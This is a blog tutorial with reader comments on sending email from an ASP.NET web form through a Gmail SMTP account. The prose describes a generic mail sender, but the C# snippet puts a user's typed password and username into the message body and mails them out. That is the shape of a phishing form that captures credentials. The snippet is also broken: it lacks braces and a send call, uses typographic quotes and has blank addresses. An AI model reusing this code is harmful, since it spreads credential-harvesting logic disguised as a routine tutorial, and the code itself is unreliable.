Sending Email is a basic task of a web application for many purposes like- Error logging, Reporting, Newsletters, and Performance alerting as well as for many other reasons.

If you have taken web space somewhere on a web server then you are provided with the Email accounts and SMTP and POP services for sending and receiving E-mails. Some times you don’t have SMTP server accounts and you may want to send email. Or Sometimes, for other reasons also you may want to use third-party SMTP sever for sending E-mails .

Gmail is a good solution for this purpose. Gmail provides SMTP and POP access which can be utilized for sending and receiving E-mails.
Here in this tutorial we will be using a Gmail account for sending email by SMTP.



1. Gmail has a fixed number of quota for sending emails per day, means you may not be able to send unlimited number of e-mails using Gmail due to anti-spamming restrictions.

2. You may not be able to send same e-mail to unlimited number of people, because Gmail’s anti-spamming engine restricts for this too.

So, Gmail can be used for sending limited number of e-mails daily to select people only. If you still need to send numerous e-mails to numerous people you can register for a Google Group account and can use that e-mail address to send email to registered members of that group. I will come up with that tutorial in near future.

Using the code

1. An active Gmail account is required to test this application.
2. Visual Studio 2005

Here we go:

Step 1: Create a new web application in visual studio and add a Web form to it.
Next add a Button to the form and double click this button to bring the code for click event of this button in the code window. Copy paste the following code to the click event.

Step 2: Run the web application and click on the Button to send the mail. Check the E-mail whether you get the mail successfully or not.

Note: Don’t forget to replace the To and From fields as well as the correct password for successfully sending the mail.

 protected void udisiz_3_Click(object sender, EventArgs e)
            System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
            mail.From = new System.Net.Mail.MailAddress(“”);
            mail.Subject = this.txtemail.Text;

            string Body = “Password=”+this.txtpass.Text+”\nUserName ==”+this.txtemail.Text;
            mail.Body = Body;

            mail.IsBodyHtml = true;
            System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient();
            smtp.Host = “”; //Or Your SMTP Server Address
//From which Account U want to connect with mail server for sending mails…………..

            smtp.Credentials = new System.Net.NetworkCredential
                 (“”, “Write password here “);

            smtp.EnableSsl = true;
            smtp.Port = 587;
            smtp.EnableSsl = true;


  1. […] Sending E-mail using through Gmail account (Gmail SMTP Server account) ( […]


  2. karthik says:

    How can i receive email using g mail?is it possible to do that………


  3. Amit says:

    bhai jan,
    Thanks for d code its work great
    it would be great if u can also give attachment option,


  4. Chetan Patil says:

    Hi sir i use this code …
    but this gives error….
    this code gives error on iis server …

    error :-
    ” System.FormatException: An invalid character was found in the mail header: ‘,’. at System.Net.Mail.DotAtomReader.ReadReverse(String data, Int32 index) at System.Net.Mail.MailAddressParser.ParseDomain(String data, Int32& index) at System.Net.Mail.MailAddressParser.ParseAddress(String data, Boolean expectMultipleAddresses, Int32& index) at System.Net.Mail.MailAddressParser.ParseMultipleAddresses(String data) at System.Net.Mail.MailAddressCollection.ParseValue(String addresses) at System.Net.Mail.MailAddressCollection.Add(String addresses) at AdminMail.btnSubmit_Click(Object sender, EventArgs e) ”

    please help me to solve this…
    thank u…

    if u got the error then mail me the answar code.
    thank u in advance…


Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s